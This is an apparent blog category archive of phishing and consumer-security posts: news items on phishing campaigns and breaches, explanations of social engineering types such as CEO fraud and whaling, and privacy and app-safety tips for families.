Category Archives: Phishing

Trusted certificates make phishing websites appear valid

There has been a rampant growth of look-alike domains, which are often used to steal sensitive data from online shoppers. Venafi analyzed suspicious domains targeting 20 major retailers in the U.S., U.K., France, Germany and Australia and found over 100,000 look-alike domains that use valid TLS certificates to appear safe and trusted. According to the research, growth in the number of look-alike domains has more than doubled since 2018, outpacing legitimate domains by nearly four … More

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Phishing Email Instructs Users to Click on “Keep Same Password” Button

Digital fraudsters have launched a new phishing campaign whose attack emails instruct recipients to click on a “Keep same password” button. Bleeping Computer observed that the phishing campaign uses attack emails that arrive with “Account Update” as their subject line. The emails list recipients’ email addresses and inform them that their account password is set […]… Read More

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Solara Medical Supplies Notifying Individuals Affected by Data Breach

Solara Medical Supplies, LLC (“Solara”) revealed that it’s in the process of notifying individuals potentially affected by a data breach. On November 13, Solara stated that it had learned of a security incident back in late-June 2019. The medical supplies provider said that an unknown actor used a phishing attack to access some of its […]… Read More

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Five Emails you don’t want in your Inbox

Phishing attacks are the most common form of cyber attack. Why? The simplicity of email gives cybercriminals an easy route in, allowing them to reach users directly with no defensive barriers, to mislead, harvest credentials and spread malicious elements.

All organisations think it won’t happen to them, but phishing isn’t a trap that only ensnares the gullible or those unacquainted with technology. Far from it. Gone are the days of poorly-worded, patently obvious attempts at scamming users out of their hard-earned cash. Some of today’s most sophisticated phishing attacks are almost indistinguishable from legitimate business communications – they’re well-written, thoroughly researched and establish a thread of communication with the victim before attempting to steal their credentials or bank balance.

Email is the single biggest attack vector used by adversaries who employ a plethora of advanced social engineering techniques to achieve their goal. Andy Pearch, Head of IA Services at CORVID, describes five common types of social engineering attack that no employee – from CISO to HR assistant – wants to see in their inbox.

1. Payment Diversion Fraud
Cybercriminals often masquerade as a supplier, requesting invoices are paid to alternative bank details. They can also pretend to be an employee, asking the HR department to pay their salary into a different account. Payment diversion fraud targets both businesses and individuals and the results can understandably be devastating.

There’s little point requesting someone to make a bank transfer or change payment details who isn’t authorised to do so – threat actors target finance and HR teams, who would expect to process payments and deal with changes to personal account details, so are more likely to comply with the fraudulent request.

2. CEO Fraud

Impersonating a VIP – often the CEO – is big business for adversaries, knowing the recipient will often action the request straightaway. Threat actors research their executive target thoroughly to make sure their spoofed email is as convincing as possible, so it stands more chance of succeeding. They prey on users’ implicit trust of their seniors to coerce them into providing commercially sensitive information, personal information, or bank account details.

These deceitful requests often convey a sense of urgency, and imply the interaction can only be carried out via email – the victim therefore has no time to question the validity of the request and is unable to call the CEO to confirm if it’s genuine.

3. Whaling

The opposite of CEO fraud, whaling targets senior executives rather than impersonating them. These targets are often the decision-makers in a business who have the authority to give the go-ahead on financial transactions and business decisions, without further levels of approval. These phishing attacks are thoroughly researched, containing personalised information about the company or individual, and are written in the company’s tone, adopting fluent business terminology that’s well-known to the VIP target.

4. Spear Phishing

Perhaps the most widespread form of email-based cyberattack, spear phishing targets individuals and specific companies with links to credential harvesting sites or requests for confidential information, such as bank details and personal data. Attackers study their victim’s online presence to include specific information which adds credibility to their request, such as purporting to be from a streaming service the victim is subscribed to, or a supplier that is known to the target company.

5. Sextortion

Not all phishing attacks are subtle. A form of cyber blackmail, sextortion is when cybercriminals email their target claiming to have evidence of them committing X-rated acts or offences, and demanding payment to stop the criminals from sharing the evidence with their victim’s family or employer.

Attackers count on their victim being too embarrassed to tell anyone about the email (although they haven’t done anything wrong), because it’s a taboo subject most wouldn’t feel comfortable talking about with others. They often make the email sound like they’re doing their victim a favour in keeping the details to themselves. The victim may decide to pay up to stop embarrassing details about their private lives being made public, regardless of whether they’re true or not. Payments are usually demanded in Bitcoin so the transaction is untraceable, meaning the adversary cannot be identified.

But if the victim knows they’re innocent, why do these attacks still work? It’s all about credibility – attackers harvest email addresses and passwords from previous cyberattacks, which are available on the internet, and include them in their email to add credibility. If an attacker emails you claiming to know one of your passwords and includes it for proof, you’re more likely to believe the rest of the email is genuine.

Conclusion

These common types of social engineering attack cannot be ignored by any organisation – these threats are very real and won’t disappear anytime soon. Email security and threat protection can be transformed by the use of multiple sophisticated detection engines and threat intelligence sources; employees shouldn’t have to carry the weight of identifying these threats, essentially plugging the gaps in flawed cybersecurity strategies. Organisations need to treat email as the serious security risk that it is and begin to put appropriate measures in place.

Fraud detection and content checking in real time automatically highlight phishing and social engineering techniques, which removes the burden from users and instead leaves technology to do its job. Furthermore, technology enables potentially concerning emails – such as those attempting to harvest credentials, mislead users or spread malicious elements – to be automatically flagged, meaning employees can make quick, informed and confident decisions as to whether the email should be trusted.

With such sophisticated technology available and a growing threat landscape that shows no sign of slowing, it’s time for organisations to make a change and adequately protect themselves from incoming attacks.

Phishing Campaign Used Subpoena-Themed Email to Deliver Infostealer

Digital fraudsters launched a new phishing campaign that used subpoena-themed emails to deliver information-stealing malware. Detected by Cofense, the campaign targeted employees of insurance and retail companies with phishing emails informing them that they had been subpoenaed. The emails instructed recipients to click on a link so that they could learn more about the case. […]… Read More

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5 Social Engineering Attacks to Watch Out For

We all know about the type of attacker who leverages their technical expertise to infiltrate protected computer systems and compromise sensitive data. This breed of malicious actor makes news all the time, prompting us to counter their exploits by investing in new technologies that will bolster our network defenses. However, there is another type of […]… Read More

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Phishing Attacks remains a popular Money-Spinner for Cyber Criminals

F5 Labs’ latest Phishing and Fraud Report reveals that phishing continues to be one of the most prevalent ways cybercriminals are breaching data and making money in 2019.

Over the years, phishing has grabbed the top spot of every report on breach causes, and this trend isn’t likely to go away anytime soon. The main reason is for cybercriminals it’s easy to execute and it’s incredibly effective: there are no firewalls to bypass or finding a zero-day exploit, or encryption to decipher. The hardest part, especially with the rise in employee training, is coming up with a good trick email pitch to get people to click on.

The F5 Labs Report highlights:
  • Phishing was responsible for 21% of breaches in there’s a 50% increase in these attacks during the holiday season (October through January) when online shopping is at its most popular
  • The top faked websites used by cybercriminals in 2019 were, in order: Facebook, Autodiscover, Apple, Chase, Office, WhatsApp, Paypal, Amazon, Microsoft, Netflix, iCloud and Office 365
  • The majority of phishing websites (54% in July 2019) are encrypted, hiding the malware they contain from traditional intrusion detection systems
  • Worse perhaps, 83% of these websites use legitimate certificates, meaning browser certificate warnings won’t work to prevent users from clicking on the websites.
The F5 Labs report also discusses the most prevalent domains phishing sites are hosted on, the validity of certificates and different profiles of a 'phisherman' and how we can understand their behaviours to implement impactful cybersecurity defences.

3 Tips to Protect Yourself From the Office 365 Phishing Scams

Cybercriminals seem to get more and more sophisticated with their attacks, and phishing scams are no different. The McAfee Labs team has observed a new phishing campaign using a fake voicemail message to trick victims into giving up their Office 365 email credentials. During the investigation, the team has found three different phishing kits being used to exploit targets.

How exactly does this sneaky phishing scam work? It all begins when a victim receives an email stating that they’ve missed a phone call, along with a request to log into their account to access the voice message. The email also contains an attached HTML file that redirects the victim to a phishing website. This website prepopulates the victim’s email address and asks them to enter their Office 365 credentials. What’s more, the stealthy attachment contains an audio recording of someone talking, leading the victim to believe that they are listening to a legitimate voicemail.

Once the victim enters their password, they are presented with a page stating that their login was successful. The victim is then redirected to the office.com login page, leading them to believe that everything is perfectly normal. Little do they know that their credentials have just been harvested by a cybercriminal.

While this sneaky scheme has been primarily used to target organizations, there is much to be taken away from this incident, as cybercriminals often disguise themselves as businesses to phish for user data. To protect yourself from these stealthy scams, check out the following tips:

  • Go directly to the source. Be skeptical of emails claiming to be from companies with peculiar asks or messages. Instead of clicking on a link within the email, it’s best to go straight to the company’s website to check the status of your account or contact customer service.
  • Be cautious of emails asking you to take action. If you receive an email asking you to take a certain action or download software, don’t click on anything within the message. Instead, go straight to the organization’s website. This will prevent you from downloading malicious content from phishing links.
  • Hover over links to see and verify the URL. If someone sends you an email with a link, hover over the link without actually clicking on it. This will allow you to see a link preview. If the URL looks suspicious, don’t interact with it and delete the email altogether.

And, as always, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

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15 Easy, Effective Ways to Start Winning Back Your Online Privacy

NCSAM

NCSAM

Someone recently asked me what I wanted for Christmas this year, and I had to think about it for a few minutes. I certainly don’t need any more stuff. However, if I could name one gift that would make me absolutely giddy, it would be getting a chunk of my privacy back.

Like most people, the internet knows way too much about me — my age, address, phone numbers and job titles for the past 10 years, my home value, the names and ages of family members  — and I’d like to change that.

But there’s a catch: Like most people, I can’t go off the digital grid altogether because my professional life requires me to maintain an online presence. So, the more critical question is this:

How private do I want to be online?  

The answer to that question will differ for everyone. However, as the privacy conversation continues to escalate, consider a family huddle. Google each family member’s name, review search results, and decide on your comfort level with what you see. To start putting new habits in place, consider these 15 tips.

15 ways to reign in your family’s privacy

  1. Limit public sharing. Don’t share more information than necessary on any online platform, including private texts and messages. Hackers and cyber thieves mine for data around the clock.
  2. Control your digital footprint. Limit information online by a) setting social media profiles to private b) regularly editing friends lists c) deleting personal information on social profiles d) limiting app permissions someone and browser extensions e) being careful not to overshare.NCSAM
  3. Search incognito. Use your browser in private or incognito mode to reduce some tracking and auto-filling.
  4. Use secure messaging apps. While WhatsApp has plenty of safety risks for minors, in terms of data privacy, it’s a winner because it includes end-to-end encryption that prevents anyone in the middle from reading private communications.
  5. Install an ad blocker. If you don’t like the idea of third parties following you around online, and peppering your feed with personalized ads, consider installing an ad blocker.
  6. Remove yourself from data broker sites. Dozens of companies can harvest your personal information from public records online, compile it, and sell it. To delete your name and data from companies such as PeopleFinder, Spokeo, White Pages, or MyLife, make a formal request to the company (or find the opt-out button on their sites) and followup to make sure it was deleted. If you still aren’t happy with the amount of personal data online, you can also use a fee-based service such as DeleteMe.com.
  7. Be wise to scams. Don’t open strange emails, click random downloads, connect with strangers online, or send money to unverified individuals or organizations.
  8. Use bulletproof passwords. When it comes to data protection, the strength of your password, and these best practices matter.
  9. Turn off devices. When you’re finished using your laptop, smartphone, or IoT devices, turn them off to protect against rogue attacks.NCSAM
  10. Safeguard your SSN. Just because a form (doctor, college and job applications, ticket purchases) asks for your Social Security Number (SSN) doesn’t mean you have to provide it.
  11. Avoid public Wi-Fi. Public networks are targets for hackers who are hoping to intercept personal information; opt for the security of a family VPN.
  12. Purge old, unused apps and data. To strengthen security, regularly delete old data, photos, apps, emails, and unused accounts.
  13. Protect all devices. Make sure all your devices are protected viruses, malware, with reputable security software.
  14. Review bank statements. Check bank statements often for fraudulent purchases and pay special attention to small transactions.
  15. Turn off Bluetooth. Bluetooth technology is convenient, but outside sources can compromise it, so turn it off when it’s not in use.

Is it possible to keep ourselves and our children off the digital grid and lock down our digital privacy 100%? Sadly, probably not. But one thing is for sure: We can all do better by taking specific steps to build new digital habits every day.

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Be Part of Something Big

October is National Cybersecurity Awareness Month (NCSAM). Become part of the effort to make sure that our online lives are as safe and secure as possible. Use the hashtags #CyberAware, #BeCyberSafe, and #NCSAM to track the conversation in real-time.

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Watch Your Step: Insights on the TOMS Shoes Mailing Hack

You’re familiar with the cybercriminals that go after users’ credit card information and look to spread malicious links, but recently, one hacker decided to send a different message. According to Vice’s Motherboard, a hacker accessed TOMS Shoes’ mailing list and sent an email encouraging users to log off and go enjoy the outdoors.

The email specifically stated, “hey you, don’t look at a digital screen all day, theres a world out there that you’re missing out on.” The hacker claimed to have compromised TOMS a while back but never had any malicious intent and felt it had been too long to disclose the breach to the authorities. Although the hacker didn’t tell Motherboard how he or she specifically gained access to the TOMS account, they did voice their frustrations with hackers who steal data from large companies and innocent civilians.

Representatives from TOMS stated that they are actively looking into the breach and warned users to not interact with the message. And while this particular hacker had no malicious intent, users could have a potential phishing scam on their hands if these email addresses had ended up in the wrong hands.

So, whether you’re a TOMS shoe wearer or not, it’s important to stay updated on potential cyberthreats so you can recognize immediately. Here are some tips to help you avoid accidentally treading on potential phishing emails:

  • Go directly to the source. Be skeptical of emails claiming to be from companies with peculiar asks or messages. Instead of clicking on a link within the email, it’s best to go straight to the company’s website to check the status of your account or contact customer service.
  • Be cautious of emails asking you to take action. If you receive an email asking you to take a certain action or download software, don’t click on anything within the message. Instead, go straight to the organization’s website. This will prevent you from downloading malicious content from phishing links.
  • Hover over links to see and verify the URL. If someone sends you an email with a link, hover over the link without actually clicking on it. This will allow you to see a link preview. If the URL looks suspicious, don’t interact with it and delete the email altogether.

And, as always, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

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Device & App Safety Guide for Families

app safetyWhile we talk about online safety each week on this blog, October is National Cybersecurity Awareness Month (NCSAM), a time to come together and turn up the volume on the digital safety and security conversation worldwide.

To kick off that effort, here’s a comprehensive Device and App Safety Guide to give your family quick ways to boost safety and security.

Device Safety Tips

  • Update devices. Updates play a critical role in protecting family devices from hackers and malware, so check for updates and install promptly.
  • Disable geotagging. To keep photo data private, turn off geotagging, which is a code that embeds location information into digital photos.
  • Turn off location services. To safeguard personal activity from apps, turn off location services on all devices and within the app. 
  • Review phone records. Monitor your child’s cell phone records for unknown numbers or excessive late-night texting or calls.
  • Lock devices. Most every phone comes with a passcode, facial, or fingerprint lock. Make locking devices a habit and don’t share passcodes with friends. 
  • Add ICE to contacts. Make sure to put a parent’s name followed by ICE (in case of emergency) into each child’s contact list.
  • Back up data. To secure family photos and prevent data loss due to malware, viruses, or theft, regularly back up family data. 
  • Use strong passwords. Passwords should be more than eight characters in length and contain a mix of capital and lower case letters and at least one numeric or non-alphabetical character. Also, use two-factor authentication whenever possible.  
  • Stop spying. Adopting healthy online habits takes a full-court family press, so choose to equip over spying. Talk candidly about online risks, solutions, family ground rules, and consequences. If you monitor devices, make sure your child understands why. 
  • Share wisely. Discuss the risks of sharing photos online with your kids and the effect it has on reputation now and in the future. 
  • Protect your devices. Add an extra layer of protection to family devices with anti-virus and malware protection and consider content filtering
  • Secure IoT devices. IoT devices such as smart TVs, toys, smart speakers, and wearables are also part of the devices families need to safeguard. Configure privacy settings, read product reviews, secure your router, use a firewall, and use strong passwords at all connection points. 

App Safety Tips

  • Evaluate apps. Apps have been known to put malware on devices, spy, grab data illegally, and track location and purchasing data without permission. Check app reviews for potential dangers and respect app age requirements.app safety
  • Max privacy settings. Always choose the least amount of data-sharing possible within every app and make app profiles private.
  • Explore apps together. Learn about your child’s favorite apps, what the risks are, and how to adjust app settings to make them as safe as possible. Look at the apps on your child’s phone. Also, ask your child questions about his or her favorite apps and download and explore the app yourself. 
  • Understand app cultures. Some of the most popular social networking apps can also contain inappropriate content that promotes pornography, hate, racism, violence, cruelty, self-harm, or even terrorism.
  • Monitor gaming. Many games allow real-time in-game messaging. Players can chat using text, audio, and video, which presents the same potential safety concerns as other social and messaging apps.
  • Discuss app risks. New, popular apps come out every week. Discuss risks such as anonymous bullying, inappropriate content, sexting, fake profiles, and data stealing. 
  • Avoid anonymous apps. Dozens of apps allow users to create anonymous profiles. Avoid these apps and the inherent cyberbullying risks they pose.
  • Limit your digital circle. Only accept friend requests from people you know. And remember, “friends” aren’t always who they say they are. Review and reduce your friend list regularly.
  • Monitor in-app purchases. It’s easy for kids to go overboard with in-app purchases, especially on gaming apps.

Our biggest tip? Keep on talking. Talk about the risks inherent to the internet. Talk about personal situations that arise. Talk about mistakes. Nurturing honest, ongoing family dialogue takes time and effort but the payoff is knowing your kids can handle any situation they encounter online.

Stay tuned throughout October for more NCSAM highlights and information designed to help you keep your family safe and secure in the online world.

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Cyber Security Roundup for September 2019

Anyone over the age of 40 in the UK will remember patiently browsing for holidays bargains on their TV via Teletext. While the TV version of Teletext Holidays died out years ago due to the creation of the world-wide-web, Teletext Holidays, a trading name of Truly Travel, continued as an online and telephone travel agent business. Verdict Media discovered an unsecured Amazon Web Services Service (Cloud Server) used by Teletext Holidays and was able to access 212,000 call centre audio recordings with their UK customers. The audio recordings were taken between 10th April and 10th August 2016 and were found in a data repository called 'speechanalytics'. Businesses neglecting to properly secure their cloud services is an evermore common culprit behind mass data breaches of late. Utilising cloud-based IT systems does not absolve businesses of their IT security responsibilities at their cloud service provider. 

Booking Holidays on Ceefax in the 1980s

Within the Teletext Holidays call recordings, customers can be heard arranging holiday bookings, providing call-centre agents partial payment card details, their full names and dates of birth of accompanying passengers. In some call recordings, Verdict Media advised customers private conversations were recorded while they were put on hold. Teletext Holidays said they have reported the data breach to the ICO.

Separately, another poorly secured cloud server was discovered with thousands of CVs originating from the Monster.com job-hunting website.  Monster.com reported the compromise of CVs was between 2014 and 2017 and was due to a 'third-party' it no longer worked with.

Wikipedia was the subject to a major DDoS attack, which impacted the availability of the online encyclopaedia website in the UK and parts of Europe. While the culprit(s) behind the DDoS attack remains unknown, Wikipedia was quick to condemn it, it said was not just about taking Wikipedia offline, "Takedown attacks threaten everyone’s fundamental rights to freely access and share information. We in the Wikimedia movement and Foundation are committed to protecting these rights for everyone."

CEO Fraud
The BBC News website published an article highlighting the all too common issue of CEO Fraud, namely company email spoofing and fraud which is costing business billions.  

Criminals are increasingly targeting UK business executives and finance staff with ‘CEO Fraud’, commonly referred to as ‘whaling’ or Business Email Compromise (BEC) by cybersecurity professionals. CEO fraud involves the impersonation of a senior company executive or a supplier, to social engineer fraudulent payments. CEO fraud phishing emails are difficult for cybersecurity defence technologies to prevent, as such emails are specifically crafted (i.e. spear phishing) for individual recipients, do not contain malware-infected attachments or malicious weblinks for cyber defences to detect and block.

Criminals do their research, gaining a thorough understanding of business executives, clients, suppliers, and even staff role and responsibilities through websites and social media sites such as LinkedIn, Facebook, and Twitter.  Once they determine who they need to target for maximum likelihood of a financial reward return, they customise a social engineering communication to an individual, typically through email, but sometimes through text messages (i.e. smishing), or over the phone, and even by postal letters to support their scam. They often create a tremendous sense of urgency, demanding an immediate action to complete a payment, impersonating someone in the business with high authority, such as the MD or CEO. The criminal’s ultimate goal is to pressurise and rush their targetted staff member into authorising and making a payment transaction to them. Such attacks are relatively simple to arrange, require little effort, and can have high financial rewards for criminals. Such attacks require little technical expertise, as email spoofing tools and instructions are freely available on the open and dark web. And thanks to the internet, fraudsters globally can effortless target UK businesses with CEO fraud scams.

UK Universities are being targetted by Iranian hackers in an attempt to steal secrets, according to the UK National Cyber Security Centre and the UK Foreign Office. The warning came after the US deputy attorney general Rod Rosenstein said: “Iranian nationals allegedly stole more than 31 terabytes of documents and data from more than 140 American universities, 30 American companies, five American government agencies, and also more than 176 universities in 21 foreign countries."

Security Updates
'Patch Tuesday' saw Microsoft release security updates for 78 security vulnerabilities, including 17 which are 'Critical' rated in Windows RDP, Azure DevOps, SharePoint and Chakra Core.  

On 23rd September 2019, Microsoft released an ‘emergency update’ (Out-of-Band) for Internet Explorer (versions 9, 10 & 11), which addresses a serious vulnerability (CVE-2019-1367) discovered by a Google researcher and is said to be known to be actively exploited.  The flaw allows an attacker to execute arbitrary code on a victim's computer through a specially crafted website, enabling an attacker to gain the same user rights as the user and to infect the computer with malware. It is a particularly dangerous exploit if the user has local administrator rights, in such instances an attacker gain full control over a user's computer remotely. This vulnerability is rated as 'Critical' by Microsoft and has a CVSS score of 7.6. Microsoft recommends that customers apply Critical updates immediately.

Ransomware
Research by AT&T Cybersecurity found 58% of IT security professionals would refuse to pay following a ransomware attack, while 31% said they would only pay as a last resort. A further 11% stated paying was, in their opinion, the easiest way to get their data back. While 40% of IT Security Pros Would Outlaw Ransomware Payments. It is clear from the latest threat intelligence reports, that the paying of ransomware ransoms is fuelling further ransomware attacks, including targetted attacks UK businesses.

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5 Digitally-Rich Terms to Define, Discuss with Your Kids

online privacy

Over the years, I’ve been the star of a number of sub-stellar parenting moments. More than once, I found myself reprimanding my kids for doing things that kids do — things I never stopped to teach them otherwise.

Like the time I reprimanded my son for not thanking his friend’s mother properly before we left a birthday party. He was seven when his etiquette deficit disorder surfaced. Or the time I had a meltdown because my daughter cut her hair off. She was five when she brazenly declared her scorn for the ponytail.

The problem: I assumed they knew.

Isn’t the same true when it comes to our children’s understanding of the online world? We can be quick to correct our kids when they fail to exercise the best judgment or handle a situation the way we think they should online.

But often what’s needed first is a parental pause to ask ourselves: Am I assuming they know? Have I taken the time to define and discuss the issue?

With that in mind, here are five digitally-rich terms dominating the online conversation. If possible, find a few pockets of time this week and start from the beginning — define the words, then discuss them with your kids. You may be surprised where the conversation goes.

5 digital terms that matter

Internet Privacy

Internet privacy is the personal privacy that every person is entitled to when they display, store, or provide information regarding themselves on the internet. 

Highlight: We see and use this word often but do our kids know what it means? Your personal information has value, like money. Guard it. Lock it down. Also, respect the privacy of others. Be mindful about accidentally giving away a friend’s information, sharing photos without permission, or sharing secrets. Remember: Nothing shared online (even in a direct message or private text) is private—nothing. Smart people get hacked every day.
Ask: Did you know that when you go online, websites and apps track your activity to glean personal information? What are some ways you can control that? Do you know why people want your data?
Act: Use privacy settings on all apps, turn off cookies in search engines, review privacy policies of apps, and create bullet-proof passwords.

Digital Wellbeing

Digital wellbeing (also called digital wellness) is an ongoing awareness of how social media and technology impacts our emotional and physical health.

Highlight: Every choice we make online can affect our wellbeing or alter our sense of security and peace. Focusing on wellbeing includes taking preventative measures, making choices, and choosing behaviors that build help us build a healthy relationship with technology. Improving one’s digital wellbeing is an on-going process.
Ask: What do you like to do online that makes you feel good about yourself? What kinds of interactions make you feel anxious, excluded, or sad? How much time online do you think is healthy?
Act:
Digital wellness begins at home. To help kids “curb the urge” to post so frequently, give them a “quality over quantity” challenge. Establish tech curfews and balance screen time to green time. Choose apps and products that include wellbeing features in their design. Consider security software that blocks inappropriate apps, filters disturbing content, and curbs screen time.

Media Literacy

Media literacy is the ability to access, analyze, evaluate, and create media in a variety of forms. It’s the ability to think critically about the messages you encounter.

Highlight: Technology has redefined media. Today, anyone can be a content creator and publisher online, which makes it difficult to discern the credibility of the information we encounter. The goal of media literacy curriculum in education is to equip kids to become critical thinkers, effective communicators, and responsible digital citizens.
Ask: Who created this content? Is it balanced or one-sided? What is the author’s motive behind it? Should I share this?  How might someone else see this differently?
Act: Use online resources such as Cyberwise to explore concepts such as clickbait, bias, psychographics, cyberethics, stereotypes, fake news, critical thinking/viewing, and digital citizenship. Also, download Google’s new Be Internet Awesome media literacy curriculum.

Empathy

Empathy is stepping into the shoes of another person to better understand and feel what they are going through.

Highlight: Empathy is a powerful skill in the online world. Empathy helps dissolve stereotypes, perceptions, and prejudices. According to Dr. Michelle Borba, empathetic children practice these nine habits that run contrary to today’s “selfie syndrome” culture. Empathy-building habits include moral courage, kindness, and emotional literacy. Without empathy, people can be “mean behind the screen” online. But remember: There is also a lot of people practicing empathy online who are genuine “helpers.” Be a helper.
Ask: How can you tell when someone “gets you” or understands what you are going through? How do they express that? Is it hard for you to stop and try to relate to what someone else is feeling or see a situation through their eyes? What thoughts or emotions get in your way?
Act:  Practice focusing outward when you are online. Is there anyone who seems lonely, excluded, or in distress? Offer a kind word, an encouragement, and ask questions to learn more about them. (Note: Empathy is an emotion/skill kids learn over time with practice and parental modeling).

Cyberbullying

Cyberbullying is the use of technology to harass, threaten, embarrass, shame, or target another person online.

Highlight: Not all kids understand the scope of cyberbullying, which can include spreading rumors, sending inappropriate photos, gossiping, subtweeting, and excessive messaging. Kids often mistake cyberbullying for digital drama and overlook abusive behavior. While kids are usually referenced in cyberbullying, the increase in adults involved in online shaming, unfortunately, is quickly changing that ratio.
Ask: Do you think words online can hurt someone in a way, more than words said face-to-face? Why? Have you ever experienced cyberbullying? Would you tell a parent or teacher about it? Why or why not?
Act: Be aware of changes in your child’s behavior and pay attention to his or her online communities. Encourage kids to report bullying (aimed at them or someone else). Talk about what it means to be an Upstander when bullied. If the situation is unresolvable and escalates to threats of violence, report it immediately to law enforcement.

We hope these five concepts spark some lively discussions around your dinner table this week. Depending on the age of your child, you can scale the conversation to fit. And don’t be scared off by eye rolls or sighs, parents. Press into the hard conversations and be consistent. Your voice matters in their noisy, digital world.

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Attention YouTubers: Protect Your Account From Being Hacked

Did you know that YouTube has 23 million content creators worldwide? Well, it turns out that many of these video gurus found themselves in the middle of a cybersecurity calamity this past weekend. According to Forbes, reporter Catalin Cimpanua discovered a massive spear phishing campaign targeting YouTube content creators, tricking them into giving up their login credentials.

How are cybercriminals using this sneaky tactic to swoop victims’ logins? Cimpanua discovered that hackers leveraged a substantial database to send emails to a targeted list of YouTube influencers. These emails contained phishing links luring the victims to fake Google login pages. Once the YouTuber filled out their login credentials, the attacker gained full access to the victim’s YouTube account, allowing them to change the vanity URL. This leaves the actual owner of the channel and their subscribers believing that the account has been deleted. Additionally, some of the accounts that were successfully hacked utilized two-factor authentication (2FA) via SMS, suggesting that cybercriminals used a reverse proxy. This type of proxy server collects resources on behalf of another server, allowing a cybercriminal to intercept 2FA codes sent over SMS in real-time.

Those targeted in this phishing scheme include mostly influencers covering a variety of genres, especially technology, music, gaming, and Disney. But with millions of content creators using YouTube as a platform to share their insights with the world, it’s critical that all users follow proper cybersecurity precautions to protect their credentials. So, what are some proactive steps YouTubers can take to ensure that their accounts are kept safe and secure? Check out the following tips:

  • Be on the lookout for phishing emails. If you receive an email from a company or business asking you to confirm your credentials, be skeptical. Phishers often forge messages from legitimate companies hoping to trick users into entering their login details.
  • Think before you click. Before clicking on a link, especially one in a suspicious email, hover over it to see if the URL address looks legitimate. If the URL contains misspellings, grammatical errors, or strange characters, it’s best to avoid interacting with the link.
  • Use two-factor authentication apps. While two-factor authentication is by no means an end-all, be-all security tactic, it does provide a good first line of defense if a hacker attempts to hijack your account. For this particular scheme, cybercriminals were able to bypass 2FA via SMS and intercept security codes. Therefore, users need to look into authenticator app options rather than simply relying on a code sent over SMS.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

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The Seven Main Phishing Lures of Cybercriminals

One of the oldest tricks in the cybercrime playbook is phishing. It first hit the digital scene in 1995, at a time when millions flocked to America Online (AOL) every day. And if we know one thing about cybercriminals, it’s that they tend to follow the masses. In earlier iterations, phishing attempts were easy to spot due to link misspellings, odd link redirects, and other giveaways. However, today’s phishing tricks have become personalized, advanced, and shrouded in new disguises. So, let’s take a look at some of the different types, real-world examples and how you can recognize a phishing lure.

Be Wary of Suspicious Emails

Every day, users get sent thousands of emails. Some are important, but most are just plain junk. These emails often get filtered to a spam folder, where phishing emails are often trapped. But sometimes they slip through the digital cracks, into a main inbox. These messages typically have urgent requests that require the user to input sensitive information or fill out a form through an external link. These phishing emails can take on many personas, such as banking institutions, popular services, and universities. As such, always remember to stay vigilant and double-check the source before giving away any information.

Link Look-A-Likes

A sort of sibling to email phishing, link manipulation is when a cybercriminal sends users a link to malicious website under the ruse of an urgent request or deadline. After clicking on the deceptive link, the user is brought to the cybercriminal’s fake website rather than a real or verified link and asked to input or verify personal details. This exact scenario happened last year when several universities and businesses fell for a campaign disguised as a package delivery issue from FedEx. This scheme is a reminder that anyone can fall for a cybercriminals trap, which is why users always have to careful when clicking, as well as ensure the validity of the claim and source of the link. To check the validity, it’s always a good idea to contact the source directly to see if the notice or request is legitimate.

Gone Whaling

Corporate executives have always been high-level targets for cybercriminals. That’s why C-suite members have a special name for when cybercriminals try to phish them – whaling. What sounds like a silly name is anything but. In this sophisticated, as well as personalized attack, a cybercriminal attempts to manipulate the target to obtain money, trade secrets, or employee information. In recent years, organizations have become smarter and in turn, whaling has slowed down. Before the slowdown, however, many companies were hit with data breaches due to cybercriminals impersonating C-suite members and asking lower-level employees for company information. To avoid this pesky phishing attempt, train C-suite members to be able to identify phishing, as well as encourage unique, strong passwords on all devices and accounts.

Spear Target Acquired

 Just as email spam and link manipulation are phishing siblings, so too are whaling and spear-phishing. While whaling attacks target the C-suite of a specific organization, spear-phishing rather targets lower-level employees of a specific organization. Just as selective and sophisticated as whaling, spear-phishing targets members of a specific organization to gain access to critical information, like staff credentials, intellectual property, customer data, and more. Spear-phishing attacks tend to be more lucrative than a run-of-the-mill phishing attack, which is why cybercriminals will often spend more time crafting and obtaining personal information from these specific targets. To avoid falling for this phishing scheme, employees must have proper security training so they know how to spot a phishing lure when they see one.

Spoofed Content

With so many things to click on a website, it’s easy to see why cybercriminals would take advantage of that fact. Content spoofing is based on exactly that notion – a cybercriminal alters a section of content on a page of a reliable website to redirect an unsuspecting user to an illegitimate website where they are then asked to enter personal details. The best way to steer clear of this phishing scheme is to check that the URL matches the primary domain name.

Phishing in a Search Engine Pond

 When users search for something online, they expect reliable resources. But sometimes, phishing sites can sneak their way into legitimate results. This tactic is called search engine phishing and involves search engines being manipulated into showing malicious results. Users are attracted to these sites by discount offers for products or services. However, when the user goes to buy said product or service, their personal details are collected by the deceptive site. To stay secure, watch out for potentially sketchy ads in particular and when in doubt always navigate to the official site first.

Who’s That Caller?

With new technologies come new avenues for cybercriminals to try and obtain personal data. Vishing, or voice phishing, is one of those new avenues. In a vishing attempt, cybercriminals contact users by phone and ask the user to dial a number to receive identifiable bank account or personal information through the phone by using a fake caller ID. For example, just last year, a security researcher received a call from their financial institution saying that their card had been compromised. Instead of offering a replacement card, the bank suggested simply blocking any future geographic-specific transactions. Sensing something was up, the researcher hung up and dialed his bank – they had no record of the call or the fraudulent card transactions. This scenario, as sophisticated as it sounds, reminds users to always double-check directly with businesses before sharing any personal information.

As you can see, phishing comes in all shapes and sizes. This blog only scratches the surface of all the ways cybercriminals lure unsuspecting users into phishing traps. The best way to stay protected is to invest in comprehensive security and stay updated on new phishing scams.

Looking for more security tips and trends? Be sure to follow @McAfee Home on Twitter, and like us on Facebook.

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Growing Cyber Threat Facing the UK Legal Sector

Guest Article by Andy Pearch, Head of IA Services at CORVID

Andy Pearch outlines one of the biggest cyber threats facing the legal sector, and steps that can be taken to save law firms from the devastating consequences.

Cyber crime is a growing concern for all businesses across every industry, and even more so for those who operate in vulnerable sectors, such as law firms. A threat report from the NCSC highlighted that 60% of law firms reported an information security incident in 2018, an increase of 20% from 2017.

